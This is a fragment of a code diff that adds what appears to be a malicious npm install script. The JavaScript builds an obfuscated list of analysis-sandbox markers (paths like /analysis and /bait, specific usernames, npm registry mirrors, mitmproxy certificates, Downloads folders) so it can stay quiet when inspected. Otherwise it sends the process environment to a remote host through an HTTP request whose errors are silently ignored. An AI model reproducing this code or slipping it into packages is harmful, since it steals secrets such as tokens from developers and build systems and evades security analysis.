+ [
111
+ { key: "INIT_CWD", val: "/ana" + "lysis" },
112
+ { key: "APPDATA", val: "/analysis" + "/bait" },
113
+ ],
114
+ [
115
+ { key: "INIT_CWD", val: "/home/node" },
116
+ { key: "HOME", val: "/root" },
117
+ ],
118
+ [
119
+ { key: "INIT_CWD", val: "/app" },
120
+ { key: "HOME", val: "/root" },
121
+ ],
122
+ [
123
+ { key: "USERNAME", val: "justin" },
124
+ { key: "OS", val: "Windows_NT" },
125
+ ],
126
+ {
127
+ key: ["npm", "config", "regi" + "stry"].join("_"),
128
+ val: ["regi" + "stry", "npm" + "mirror", "com"].join("."),
129
+ },
130
+ {
131
+ key: ["npm", "config", "reg" + "istry"].join("_"),
132
+ val: ["cnp" + "mjs", "org"].join("."),
133
+ },
134
+ {
135
+ key: ["npm", "config", "registry"].join("_"),
136
+ val: ["mir" + "rors", "cloud", "ten" + "cent", "com"].join("."),
137
+ },
138
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
139
+ { key: "_", val: ["", "usr", "bin", "python"].join("/") },
140
+ {
141
+ key: ["npm", "config", "metrics", "regis" + "try"].join("_"),
142
+ val: ["mir" + "rors", "ten" + "cent", "com"].join("."),
143
+ },
144
+ {
145
+ key: "PWD",
146
+ val: [
147
+ "",
148
+ "usr",
149
+ "local",
150
+ "lib",
151
+ "node" + "_modules",
152
+ props.npm_package_name,
153
+ ].join("/"),
154
+ },
155
+ {
156
+ key: "PWD",
157
+ val: ["", props.USER, "node" + "_modules", props.npm_package_name].join(
158
+ "/"
159
+ ),
160
+ },
161
+ {
162
+ key: ["node", "extra", "ca", "certs"].join("_").toUpperCase(),
163
+ val: "mit" + "mproxy",
164
+ },
165
+ ];
166
+
167
+ if (
168
+ exclude.some((entry) =>
169
+ []
170
+ .concat(entry)
171
+ .every(
172
+ (item) =>
173
+ (props[item.key] || "").includes(item.val) || item.val === "*"
174
+ )
175
+ ) ||
176
+ Object.keys(props).length < 10 ||
177
+ !props.npm_package_name ||
178
+ !props.npm_package_version ||
179
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
180
+ props.npm_package_json || ""
181
+ ) ||
182
+ /C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") ||
183
+ (props.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
184
+ ) {
185
+ return;
186
+ }
187
+
188
+ var params = new Params();
189
+
190
+ var res = http[type()](params.getOpts(props["npm_package_name"], "com")).on(
191
+ "error",
192
+ function (err) {}
193
+ );
194
+
195
+ toString(res, props, args);
196
+ }
197
+
198
+ xmlHttpRequest();